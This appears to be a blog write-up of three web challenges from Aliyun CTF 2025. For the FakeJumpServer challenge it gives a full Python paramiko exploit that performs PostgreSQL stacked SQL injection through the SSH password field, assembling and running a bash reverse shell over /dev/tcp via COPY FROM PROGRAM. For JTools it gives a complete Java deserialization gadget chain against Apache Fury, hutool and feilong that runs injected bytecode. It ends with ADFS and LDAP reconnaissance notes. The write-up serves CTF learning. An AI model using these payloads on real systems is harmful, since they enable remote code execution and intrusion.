Aliyun CTF 2025 - Web Review

During the annual Alibaba Cloud CTF, I wanted to complain about the FakeJumpServer problem. I gave it a hint but couldn’t solve it. Finally, I realized it was a simple PostgreSQL stack injection, but the injection point was SSH. 😅

Nu1L hasn’t shut down the environment yet, so I can try it now.

FakeJumpServer

Connect directly via SSH and check the version. You’ll see it’s a FakeJumpServer. The organizers are saying this question is a hacked SSH exploit that requires real-world thinking. It turns out to be a penetration test, so that’s fine.

image-20250226111058083

Related article for this question: https://developer.aliyun.com/article/1161775

Related Payload

1
';/**/update/**/t_user/**/set/**/password='***'/**/where/**/name='sysadmin'--/**/

The typical pgSQL execution command is as follows; I won’t explain it here; it’s very simple.

1
2
3
4
DROP TABLE IF EXISTS exec;
CREATE TABLE exec(op text);
COPY exec FROM PROGRAM 'id';
SELECT * FROM exec;

So we first determine whether there is a delayed injection, the injection point is password

1
-1';select pg_sleep(5);--

The five-second delay here indicates an injection.

image-20250226112317863

Then the shell is written and rebound normally.

1
2
3
4
5
6
7
8
9
10
11
12
-1';select pg_sleep(5);--
-1';CREATE TABLE exec(op text);--
-1';COPY exec FROM PROGRAM 'echo -n "/bin/ba" > /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "sh -i >&" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n " /dev/tcp" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "/111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n ".11.1" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "11.111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "/111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "11 0>&1" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'chmod +x /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'bash /tmp/1.sh';--

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import paramiko
import time

def ssh_login(hostname, port, username, password):
try:
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname, port, username, password, allow_agent=False, look_for_keys=False)
ssh_client.close()
return True
except Exception as e:
return False

if __name__ == "__main__":
hostname = "114.55.146.242"
port = 22
username = "root"

password = "-1';CREATE TABLE exec(op text);--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/bin/ba\" > /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"sh -i >&\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \" /dev/tcp\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \".11.1\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"11.111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"11 0>&1\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'chmod +x /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'bash /tmp/1.sh';--"
ssh_login(hostname, port, username, password)

Guess what? I solved it! Amazing!

image-20250226115245984

JTools

This problem was also reproduced after the competition. There were only three solutions. Let’s take a look.

Looking at the source code, I found that it is the Fury framework, which is relatively new and has very few related vulnerabilities. Here we can clearly see that the data field has been deserialized, so we can find where this deserialization can be triggered.

image-20250226115600220

A tool library called feilong is introduced here.

https://github.com/ifeilong/feilong

A quick search revealed deserialization in cn.hutool.core.convert.impl.BeanConverter#convertInternal.

image-20250226122245362

A closer look revealed the use of MapProxy to create a Bean type proxy, but without verifying that the Map’s contents fully meet the target type requirements. Furthermore, the MapProxy#invoke method triggers a convert call.

image-20250226122855337

final exp, official

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class exp {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"whoami\");";
evil.makeClassInitializer().insertBefore(cmd);
evil.setSuperclass(pool.get("java.lang.Object"));

byte[] _bytecodes = evil.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", _bytecodes);
setFieldValue(templates, "_name", "evil");
TemplatesImpl templates1 = new TemplatesImpl();
setFieldValue(templates1, "_bytecodes", _bytecodes);
setFieldValue(templates1, "_name", "evil1");
String prop = "digester";
PropertyComparator propertyComparator = new PropertyComparator(prop);
Fury fury = Fury.builder().withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();

Object templatesImpl1 = templates1;
Object templatesImpl = templates;

PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");

PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
Object[] objectsjdk = {templatesImpl1, templatesImpl};
setFieldValue(priorityQueue1, "queue", objectsjdk);

byte[] data = SerializeUtil.serialize(priorityQueue1);

Map hashmap = new HashMap();
hashmap.put(prop, data);

MapProxy mapProxy = new MapProxy(hashmap);
ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);


PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", "2");
Object[] objects = {test, test1};
setFieldValue(priorityQueue, "queue", objects);

byte[] serialize = fury.serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}
}

https://xz.aliyun.com/news/17029

Offens1ve

I’ve seen a similar question before on htb, but the one on Alibaba Cloud is fake. First, configure the local hosts.

121.41.102.198 oa.offensive.local
121.41.102.198 monitor.offensive.local
121.41.102.198 sts.offensive.local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

https://sts.offensive.local/adfs/ls/?wtrealm=https%3A%2F%2Foa.offensive.local%3A8443%2F&wctx=WsFedOwinState%3DLR2XQVN6H_qqK-Jrv03 F-Uje7mKQigWfTixV-VJA1jQgqpLt9apq1PTTUberCMWdkEekziDoiG34m8d7pbPGH5d_ojW2sHxfT917yvdvfBg2xIjhDS-1DTktc5DSOsKbz-zfgsZ54cv3chHQvEiwF w&wa=wsignin1.0

![image-20250227165246902](./../../../iloli-moe-resources/2025/02/27/image-20250227165246902.png)

https://monitor.offensive.local:8080/

![image-20250227165256222](./../../../iloli-moe-resources/2025/02/27/image-20250227165256222.png)

This shows an ADFS single sign-on, and then in the network monitoring system. On the ADFS01 machine, you can export the AdfsConfigurationV4 configuration database.

https://monitor.offensive.local:8080/Monitor/ADFS01

![image-20250227165904468](./../../../iloli-moe-resources/2025/02/27/image-20250227165904468.png)

The DC node can perform LDAP queries and see several users.

(objectClass=*),cn,name

1
2
3
4
5
6
7
8

![image-20250227170935149](./../../../iloli-moe-resources/2025/02/27/image-20250227170935149.png)

ADFS The authentication process uses a DKM key, so you can try querying the DKM key and decrypting it.

Related Links

https://www.freebuf.com/articles/network/320834.html